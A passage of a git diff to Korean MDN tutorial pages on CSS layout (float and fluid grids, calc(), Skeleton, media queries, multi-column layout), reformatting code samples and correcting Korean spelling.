+    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at
+    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer
+    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur
+    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.
+    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus
+    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.
+    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,
+    eget fermentum sapien.
+  </p>
 </div>
 
 <div>
   <h2>두 번째 열</h2>
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+  <p>
+    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+    penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+  </p>
 </div>
 ```
 
@@ -106,12 +125,31 @@ div:nth-of-type(2) {
 
 <div>
   <h2>첫 번째 열</h2>
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at
+    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer
+    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur
+    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.
+    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus
+    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.
+    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,
+    eget fermentum sapien.
+  </p>
 </div>
 
 <div>
   <h2>두 번째 열</h2>
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+  <p>
+    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada
+    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed
+    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus
+    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies
+    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis
+    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque
+    penatibus et magnis dis parturient montes, nascetur ridiculus mus.
+  </p>
 </div>
 ```
 
@@ -137,7 +175,7 @@ div:nth-of-type(2) {
 
 여기서 여러분은 우리가 모든 너비에 대해 백분율을 사용하고 있음을 알아차릴 것입니다. 이것은 **liquid layout**을 생성하기 때문에 꽤 좋은 전략입니다. 이것은 서로 다른 화면 크기에 적응하고 더 작은 화면 크기에서 열 너비에 대해 동일한 비율을 유지하게 됩니다. 브라우저 창의 너비를 조정해 보십시오. 이같은 특징은 반응형 웹 디자인을 위한 귀중한 도구입니다.
 
-> **참고:** 당신은 이 예제가 작종하는 장면을 여기서 [0_two-column-layout.html](http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html) 볼 수 있습니다. (또한, 여기 [소스 코드](https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html))도 있다.
+> **참고:** 당신은 이 예제가 작종하는 장면을 여기서 [0_two-column-layout.html](http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html) 볼 수 있습니다. (또한, 여기 [소스 코드](https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html))도 있습니다.
 
 ## 간단한 레거시 격자 프레임워크 생성하기
 
@@ -199,7 +237,7 @@ body {
 }
 ```
 
-이제 격자의 각 행을 둘러싸는 행 컨테이너를 사용하여 한 행을 다른 행으로부터 정리하여 구분합니다. 다음과 같은 규칙을 이전 규칙 아래에 추가하십시요:
+이제 격자의 각 행을 둘러싸는 행 컨테이너를 사용하여 한 행을 다른 행으로부터 정리하여 구분합니다. 다음과 같은 규칙을 이전 규칙 아래에 추가하십시오:
 
 ```css
 .row {
@@ -213,7 +251,7 @@ body {
 
 우리는 총 너비 960 픽셀에서 배수로 부분을 빼야 함으로 우리의 열 무리를 위해 720픽셀이 주어집니다. 당장에 그것을 12로 나눈다면, 각 열은 60 픽셀이어야 한다는 것을 알 수 있습니다.
 
-다음 단계는 클래스 `.col`에 대한 규칙을 생성하는 일입니다. 동 클래스에 속한 요소를 왼쪽으로 부동시키고, 배수구를 형성하기 위해 20픽셀의 {{cssxref("margin-left")}}와 60픽셀의 {{cssxref("width")}} 값을 동 요소에 부여합니다. 다음 규칙을 당신의 CSS의 맨 아래에 추가하십시요:
+다음 단계는 클래스 `.col`에 대한 규칙을 생성하는 일입니다. 동 클래스에 속한 요소를 왼쪽으로 부동시키고, 배수구를 형성하기 위해 20픽셀의 {{cssxref("margin-left")}}와 60픽셀의 {{cssxref("width")}} 값을 동 요소에 부여합니다. 다음 규칙을 당신의 CSS의 맨 아래에 추가하십시오:
 
 ```css
 .col {
@@ -228,30 +266,52 @@ body {
 
 > **참고:** **주석**: 각 열에 밝은 빨간색 색상을 부여하여 각 공간이 얼마나 많은지 정확하게 볼 수 있습니다.
 
-두 개 이상의 열을 하나로 합치길 원하는 레이아웃 컨테이너에 대해선 해당 컨테이너에 {{cssxref("width")}} 값을 필요한(합치기 할) 열 갯수에 맞춰(아울러 열 사이 배수구 숫자까지 포함해) 조정하기 위해 특별한 클래스를 부여할 필요가 있습니다. 우리는 컨테이너 무리가 2열에서 12열까지 (원하는 열 갯수만큼) 하나로 합치기할 수 있도록 추가 클래스를 만들 필요가 있습니다. 각 열의 너비는 (하나로 합쳐질) 해당 열 갯수의 열 너비와 배수구 너비를 합산한 결과입니다. 여기서 배수구 숫자는 항상 열 갯수에서 하나가 빠집니다.
+두 개 이상의 열을 하나로 합치길 원하는 레이아웃 컨테이너에 대해선 해당 컨테이너에 {{cssxref("width")}} 값을 필요한(합치기 할) 열 갯수에 맞춰(아울러 열 사이 배수구 숫자까지 포함해) 조정하기 위해 특별한 클래스를 부여할 필요가 있습니다. 우리는 컨테이너 무리가 2열에서 12열까지 (원하는 열 갯수만큼) 하나로 합칠 수 있도록 추가 클래스를 만들 필요가 있습니다. 각 열의 너비는 (하나로 합쳐질) 해당 열 갯수의 열 너비와 배수구 너비를 합산한 결과입니다. 여기서 배수구 숫자는 항상 열 갯수에서 하나가 빠집니다.
 
 당신의 CSS 맨 아래에 다음을 추가하십시요.
 
 ```css
 /* Two column widths (120px) plus one gutter width (20px) */
-.col.span2 { width: 140px; }
+.col.span2 {
+  width: 140px;
+}
 /* Three column widths (180px) plus two gutter widths (40px) */
-.col.span3 { width: 220px; }
+.col.span3 {
+  width: 220px;
+}
 /* And so on... */
-.col.span4 { width: 300px; }
-.col.span5 { width: 380px; }
-.col.span6 { width: 460px; }
-.col.span7 { width: 540px; }
-.col.span8 { width: 620px; }
-.col.span9 { width: 700px; }
-.col.span10 { width: 780px; }
-.col.span11 { width: 860px; }
-.col.span12 { width: 940px; }
+.col.span4 {
+  width: 300px;
+}
+.col.span5 {
+  width: 380px;
+}
+.col.span6 {
+  width: 460px;
+}
+.col.span7 {
+  width: 540px;
+}
+.col.span8 {
+  width: 620px;
+}
+.col.span9 {
+  width: 700px;
+}
+.col.span10 {
+  width: 780px;
+}
+.col.span11 {
+  width: 860px;
+}
+.col.span12 {
+  width: 940px;
+}
 ```
 
 이러한 클래스를 생성해 놓았다면 격자에 서로 다른 너비의 열 무리를 배치할 수 있습니다. 페이지를 저장하고 브라우저에 불러들여 효과를 확인하십시오.
 
-> **참고:** **참조**: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 [완성된 버전](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html)과 비교해보라. ([라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html)).
+> **참고:** **참조**: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 [완성된 버전](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html)과 비교해보세요. ([라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html)).
 
 당신의 요소 무리에 적용한 클래스를 수정하거나 일부 컨테이너를 추가 및 제거해보며 당신이 어떻게 레이아웃에 변경을 가할 수 있는지 확인하십시오 예를 들어 두 번째 행을 이렇게 만들 수 있습니다:
 
@@ -292,9 +352,9 @@ target / context = result
 
 #### 여러분의 격자 업데이트 하기
 
-이번 절을 시작하려면 이전 예제 페이지의 새 사본을 만들거나 [simple-grid-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html)를 착수파일로 사용하십시요.
+이번 절을 시작하려면 이전 예제 페이지의 새 사본을 만들거나 [simple-grid-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html)를 착수파일로 사용하십시오.
 
-다음과 같이 (`.wrapper` 선택기에 해당하는) 두 번째 CSS 규칙을 업데이트 하십시요:
+다음과 같이 (`.wrapper` 선택기에 해당하는) 두 번째 CSS 규칙을 업데이트 하십시오:
 
 ```css
 body {
@@ -310,7 +370,7 @@ body {
 
 우리는 백분율 너비를 부여했을뿐만 아니라 레이아웃이 과도하게 확대되는 것을 막기 위해 {{cssxref("max-width")}} 속성을 추가했습니다.
 
-다음은 아래와 같이 (`.col` 선택기에 해당하는) 네 번째 CSS 규칙을 업데이트 하십시요:
+다음은 아래와 같이 (`.col` 선택기에 해당하는) 네 번째 CSS 규칙을 업데이트 하십시오:
 
 ```css
 .col {
@@ -321,30 +381,52 @@ body {
 }
 ```
 
-이제 약간 노동력이 투여되어야 할 부분이 있습니다. 픽셀 너비보다는 백분율을 사용하기 위해 모든 `.col.span` 규칙을 업데이트해야 합니다. 계산기를 사용하려면 시간이 좀 걸립니다. 여러분들의 노력을 아끼기 위해, 아래와 같이 여러분을 대신에 우리가 마무리지었습니다.
+이제 약간 노동력이 투여되어야 할 부분이 있습니다. 픽셀 너비보다는 백분율을 사용하기 위해 모든 `.col.span` 규칙을 업데이트해야 합니다. 계산기를 사용하려면 시간이 좀 걸립니다. 여러분들의 노력을 아끼기 위해, 아래와 같이 여러분을 대신해 우리가 마무리지었습니다.
 
 다음을 통해 CSS 규칙의 하위 블록을 업데이트합니다.
 
 ```css
 /* Two column widths (12.5%) plus one gutter width (2.08333333%) */
-.col.span2 { width: 14.58333333%; }
+.col.span2 {
+  width: 14.58333333%;
+}
 /* Three column widths (18.75%) plus two gutter widths (4.1666666) */
-.col.span3 { width: 22.91666666%; }
+.col.span3 {
+  width: 22.91666666%;
+}
 /* And so on... */
-.col.span4 { width: 31.24999999%; }
-.col.span5 { width: 39.58333332%; }
-.col.span6 { width: 47.91666665%; }
-.col.span7 { width: 56.24999998%; }
-.col.span8 { width: 64.58333331%; }
-.col.span9 { width: 72.91666664%; }
-.col.span10 { width: 81.24999997%; }
-.col.span11 { width: 89.5833333%; }
-.col.span12 { width: 97.91666663%; }
+.col.span4 {
+  width: 31.24999999%;
+}
+.col.span5 {
+  width: 39.58333332%;
+}
+.col.span6 {
+  width: 47.91666665%;
+}
+.col.span7 {
+  width: 56.24999998%;
+}
+.col.span8 {
+  width: 64.58333331%;
+}
+.col.span9 {
+  width: 72.91666664%;
+}
+.col.span10 {
+  width: 81.24999997%;
+}
+.col.span11 {
+  width: 89.5833333%;
+}
+.col.span12 {
+  width: 97.91666663%;
+}
 ```
 
 이제 코드를 저장하고 브라우저에 내용을 불러들이면 뷰포트 너비를 변경해보십시오. 열 너비가 멋지게 조정되는 것을 볼 수 있어야 합니다.
 
-> **참고:** **참조**: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 [완성된 버전](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html)과 비교해보라. ([라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html)).
+> **참고:** **참조**: 위의 예제를 제대로 적용하기가 어렵다면 깃허브에 있는 [완성된 버전](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html)과 비교해보세요. ([라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html)).
 
 ### calc() 함수를 사용한 편리한 계산법
 
@@ -354,31 +436,53 @@ CSS 내부에서 직접 calc() 함수를 사용하여 수학 계산을 할 수 
 
 ```css
 .col.span4 {
-  width: calc((6.25%*4) + (2.08333333%*3));
+  width: calc((6.25% * 4) + (2.08333333% * 3));
 }
 ```
 
 여러분의 CSS 규칙의 하단 블록을 다음 값으로 대체한 다음 브라우저에서 다시 불러들여 동일한 결과를 얻을 수 있는지 확인하십시오:
 
 ```css
-.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
-.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
-.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
-.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
-.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
-.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
-.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
-.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
-.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
-.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
-.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
+.col.span2 {
+  width: calc((6.25% * 2) + 2.08333333%);
+}
+.col.span3 {
+  width: calc((6.25% * 3) + (2.08333333% * 2));
+}
+.col.span4 {
+  width: calc((6.25% * 4) + (2.08333333% * 3));
+}
+.col.span5 {
+  width: calc((6.25% * 5) + (2.08333333% * 4));
+}
+.col.span6 {
+  width: calc((6.25% * 6) + (2.08333333% * 5));
+}
+.col.span7 {
+  width: calc((6.25% * 7) + (2.08333333% * 6));
+}
+.col.span8 {
+  width: calc((6.25% * 8) + (2.08333333% * 7));
+}
+.col.span9 {
+  width: calc((6.25% * 9) + (2.08333333% * 8));
+}
+.col.span10 {
+  width: calc((6.25% * 10) + (2.08333333% * 9));
+}
+.col.span11 {
+  width: calc((6.25% * 11) + (2.08333333% * 10));
+}
+.col.span12 {
+  width: calc((6.25% * 12) + (2.08333333% * 11));
+}
 ```
 
 > **참고:** 여러분은 최종 버전을 [fluid-grid-calc.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html)에서 확인할 수 있습니다. ([라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html)).
 
 > **참고:** 여러분의 실습 과정에서 이 같은 내용이 제대로 작동되지 않았다면 여러분의 브라우저가 `calc()` 함수를 지원하지 않기 때문일 수 있습니다. 다만 이 함수는 멀게는 인터넷 익스플로러 9까지 브라우저 구분없이 지원됩니다.
 
-### 말 되는 VS “말 안되는” 격자 시스템
+### 말 되는 VS "말 안되는" 격자 시스템
 
 레이아웃을 정의하기 위해 여러분의 마크업에 클래스를 추가하면 콘텐츠와 마크업이 시각적 프리젠테이션과 결부됩니다. 당신은 때때로 콘텐츠를 설명하는 클래스에 말되는 이름을 사용하기보다는 콘텐츠가 어떻게 보일지 설명하는 "말 안되는" 이름을 사용하는 CSS 클래스 용례를 접하게 됩니다. 여기서 `span2`, `span3`, 기타 등등과 같은 클래스의 경우가 그렇습니다.
 
@@ -386,7 +490,7 @@ CSS 내부에서 직접 calc() 함수를 사용하여 수학 계산을 할 수 
 
 ```css
 .content {
-  width: calc((6.25%*8) + (2.08333333%*7));
+  width: calc((6.25% * 8) + (2.08333333% * 7));
 }
 ```
 
@@ -404,7 +508,7 @@ CSS 내부에서 직접 calc() 함수를 사용하여 수학 계산을 할 수 
 
 ```css
 .offset-by-one {
-  margin-left: calc(6.25% + (2.08333333%*2));
+  margin-left: calc(6.25% + (2.08333333% * 2));
 }
 ```
 
@@ -434,7 +538,7 @@ Or if you prefer to calculate the percentages yourself, use this one:
 
 ![](offset-grid-finished.png)
 
-> **참고:** 추가 연습의 하나로 여러분은 `offset-by-two`(2칸 간격띄우기) 클래스를 구현할 수 있습니가?
+> **참고:** 추가 연습의 하나로 여러분은 `offset-by-two`(2칸 간격띄우기) 클래스를 구현할 수 있습니까?
 
 ### 부동 격자 제한
 
@@ -461,7 +565,6 @@ body {
   padding-right: 2.08333333%;
 }
 
-
 .row {
   display: flex;
 }
@@ -471,7 +574,7 @@ body {
   margin-bottom: 1em;
   width: 6.25%;
   flex: 1 1 auto;
-  background: rgb(255,150,150);
+  background: rgb(255, 150, 150);
 }
 ```
 
@@ -499,15 +602,15 @@ body {
 
 이 독립형 시스템 중 하나를 살펴봅니다. 이 시스템은 격자 프레임워크를 사용하는 일반적인 기술을 보여줍니다. 우리가 사용할 격자는 단순한 CSS 프레임워크인 Skeleton의 일부입니다.
 
-시작하려면 [Skeleton website](http://getskeleton.com/)를 방문하고 ZIP 파일을 다운로드하기 위해 "다운로드"를 선택합니다. 압축파일을 풀고 skeleton.css와 normalize.css를 새 폴더에 복사하십시요.
+시작하려면 [Skeleton website](http://getskeleton.com/)를 방문하고 ZIP 파일을 다운로드하기 위해 "다운로드"를 선택합니다. 압축파일을 풀고 skeleton.css와 normalize.css를 새 폴더에 복사하십시오.
 
 [html-skeleton.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html)파일의 복사본을 만들어, skeleton과 normalize CSS 파일이 위치한 폴더와 같은 폴더에 저장합니다.
 
 다음과 같은 내용을 복사본 파일의 헤드 섹션에 skeleton과 normalize CSS 파일에 포함시킵니다:
 
 ```html
-<link href="normalize.css" rel="stylesheet">
-<link href="skeleton.css" rel="stylesheet">
+<link href="normalize.css" rel="stylesheet" />
+<link href="skeleton.css" rel="stylesheet" />
 ```
 
 Skeleton에는 격자 시스템 이외에도 많은 내용이 포함되어 있습니다. 타이포그래피를 위한 CSS 및 착수점으로 사용할 수 있는 다른 페이지 요소도 포함되어 있습니다. 하지만 지금은 이들을 기본값으로 남겨둘 겁이다. 우리가 정말로 관심을 갖고 있는 것은 격자입니다.
@@ -586,12 +689,14 @@ Skeleton을 사용하기 위해서는 `container` 클래스를 랩퍼(바깥쪽)
 
 HTML 파일을 저장하고 브라우저에 불러들여 효과를 확인하십시오.
 
-> **참고:** 위의 예제를 제대로 적용하기가 어렵다면, 그것을 우리의 [html-skeleton-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html) 파일과 비교해 보십시요. (그것을 [라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html)).
+> **참고:** 위의 예제를 제대로 적용하기가 어렵다면, 그것을 우리의 [html-skeleton-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html) 파일과 비교해 보십시오. (그것을 [라이브로도 보세요](http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html)).
 
 당신이 (앞서 다운로드한) skeleton.css 내용을 보면 어떻게 작동하는지 알 수 있습니다. 예를 들어, Skeleton 파일에는 다음과 같이 "three columns" 클래스가 적용되는 요소를 스타일링하기 위한 정의가 부여되어 있습니다.
 
 ```css
-.three.columns { width: 22%; }
+.three.columns {
+  width: 22%;
+}
 ```
 
 모든 Skeleton(또는 다른 격자 프레임워크)은 여러분의 마크업에 추가하여 사용할 수 있는 미리 정의된 클래스를 설정하는 것입니다. 해당 백분율을 계산하는 작업은 마치 당신이 직접 한 것과 똑같습니다.
diff --git a/files/ko/learn/css/css_layout/media_queries/index.md b/files/ko/learn/css/css_layout/media_queries/index.md
index 78dbb819963944..cda77a5d3bd8a5 100644
--- a/files/ko/learn/css/css_layout/media_queries/index.md
+++ b/files/ko/learn/css/css_layout/media_queries/index.md
@@ -63,9 +63,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media print {
-    body {
-        font-size: 12pt;
-    }
+  body {
+    font-size: 12pt;
+  }
 }
 ```
 
@@ -85,9 +85,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media screen and (width: 600px) {
-    body {
-        color: red;
-    }
+  body {
+    color: red;
+  }
 }
 ```
 
@@ -97,9 +97,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media screen and (max-width: 400px) {
-    body {
-        color: blue;
-    }
+  body {
+    color: blue;
+  }
 }
 ```
 
@@ -115,9 +115,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media (orientation: landscape) {
-    body {
-        color: rebeccapurple;
-    }
+  body {
+    color: rebeccapurple;
+  }
 }
 ```
 
@@ -131,9 +131,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media (hover: hover) {
-    body {
-        color: rebeccapurple;
-    }
+  body {
+    color: rebeccapurple;
+  }
 }
 ```
 
@@ -155,9 +155,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media screen and (min-width: 400px) and (orientation: landscape) {
-    body {
-        color: blue;
-    }
+  body {
+    color: blue;
+  }
 }
 ```
 
@@ -169,9 +169,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media screen and (min-width: 400px), screen and (orientation: landscape) {
-    body {
-        color: blue;
-    }
+  body {
+    color: blue;
+  }
 }
 ```
 
@@ -185,9 +185,9 @@ original_slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
 
 ```css
 @media not all and (orientation: landscape) {
-    body {
-        color: blue;
-    }
+  body {
+    color: blue;
+  }
 }
 ```
 
@@ -217,54 +217,57 @@ Firefox DevTools의 [반응형 디자인 모드](/ko/docs/Tools/Responsive_Desig
 
 ```css
 * {
-    box-sizing: border-box;
+  box-sizing: border-box;
 }
 
 body {
-    width: 90%;
-    margin: 2em auto;
-    font: 1em/1.3 Arial, Helvetica, sans-serif;
+  width: 90%;
+  margin: 2em auto;
+  font:
+    1em/1.3 Arial,
+    Helvetica,
+    sans-serif;
 }
 
 a:link,
 a:visited {
-    color: #333;
+  color: #333;
 }
 
 nav ul,
-    aside ul {
-    list-style: none;
-    padding: 0;
+aside ul {
+  list-style: none;
+  padding: 0;
 }
 
 nav a:link,
 nav a:visited {
-    background-color: rgba(207, 232, 220, 0.2);
-    border: 2px solid rgb(79, 185, 227);
-    text-decoration: none;
-    display: block;
-    padding: 10px;
-    color: #333;
-    font-weight: bold;
+  background-color: rgba(207, 232, 220, 0.2);
+  border: 2px solid rgb(79, 185, 227);
+  text-decoration: none;
+  display: block;
+  padding: 10px;
+  color: #333;
+  font-weight: bold;
 }
 
 nav a:hover {
-    background-color: rgba(207, 232, 220, 0.7);
+  background-color: rgba(207, 232, 220, 0.7);
 }
 
 .related {
-    background-color: rgba(79, 185, 227, 0.3);
-    border: 1px solid rgb(79, 185, 227);
-    padding: 10px;
+  background-color: rgba(79, 185, 227, 0.3);
+  border: 1px solid rgb(79, 185, 227);
+  padding: 10px;
 }
 
 .sidebar {
-    background-color: rgba(207, 232, 220, 0.5);
-    padding: 10px;
+  background-color: rgba(207, 232, 220, 0.5);
+  padding: 10px;
 }
 
 article {
-    margin-bottom: 1em;
+  margin-bottom: 1em;
 }
 ```
 
@@ -320,19 +323,19 @@ article {
 
 ```css
 @media screen and (min-width: 40em) {
-    article {
-        display: grid;
-        grid-template-columns: 3fr 1fr;
-        column-gap: 20px;
-    }
-
-    nav ul {
-        display: flex;
-    }
-
-    nav li {
-        flex: 1;
-    }
+  article {
+    display: grid;
+    grid-template-columns: 3fr 1fr;
+    column-gap: 20px;
+  }
+
+  nav ul {
+    display: flex;
+  }
+
+  nav li {
+    flex: 1;
+  }
 }
 ```
 
@@ -346,20 +349,20 @@ article {
 
 ```css
 @media screen and (min-width: 70em) {
-    main {
-        display: grid;
-        grid-template-columns: 3fr 1fr;
-        column-gap: 20px;
-    }
-
-    article {
-        margin-bottom: 0;
-    }
-
-    footer {
-        border-top: 1px solid #ccc;
-        margin-top: 2em;
-    }
+  main {
+    display: grid;
+    grid-template-columns: 3fr 1fr;
+    column-gap: 20px;
+  }
+
+  article {
+    margin-bottom: 0;
+  }
+
+  footer {
+    border-top: 1px solid #ccc;
+    margin-top: 2em;
+  }
 }
 ```
 
@@ -375,42 +378,42 @@ article {
 
 ```html
 <ul class="grid">
-    <li>
-        <h2>카드 1</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>카드 2</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>카드 3</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>카드 4</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>카드 5</h2>
-        <p>...</p>
-    </li>
+  <li>
+    <h2>카드 1</h2>
+    <p>...</p>
+  </li>
+  <li>
+    <h2>카드 2</h2>
+    <p>...</p>
+  </li>
+  <li>
+    <h2>카드 3</h2>
+    <p>...</p>
+  </li>
+  <li>
+    <h2>카드 4</h2>
+    <p>...</p>
+  </li>
+  <li>
+    <h2>카드 5</h2>
+    <p>...</p>
+  </li>
 </ul>
 ```
 
 ```css
 .grid {
-    list-style: none;
-    margin: 0;
-    padding: 0;
-    display: grid;
-    gap: 20px;
-    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+  list-style: none;
+  margin: 0;
+  padding: 0;
+  display: grid;
+  gap: 20px;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
 }
 
 .grid li {
-    border: 1px solid #666;
-    padding: 10px;
+  border: 1px solid #666;
+  padding: 10px;
 }
 ```
 
diff --git a/files/ko/learn/css/css_layout/multiple-column_layout/index.md b/files/ko/learn/css/css_layout/multiple-column_layout/index.md
index a4cafc0a98a8ab..a0d7f9076215fa 100644
--- a/files/ko/learn/css/css_layout/multiple-column_layout/index.md
+++ b/files/ko/learn/css/css_layout/multiple-column_layout/index.md
@@ -51,25 +51,39 @@ body {
   width: 90%;
   max-width: 900px;
   margin: 2em auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif;
+  font:
+    0.9em/1.2 Arial,
+    Helvetica,
+    sans-serif;
 }
-
 ```
 
 ```html
 <div class="container">
   <h1>간단한 다단 예제</h1>
 
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
-  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
-  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
-  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
-  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
-  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
-  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
-  dis parturient montes, nascetur ridiculus mus.</p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus
+    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,
+    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at
+    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer
+    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur
+    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.
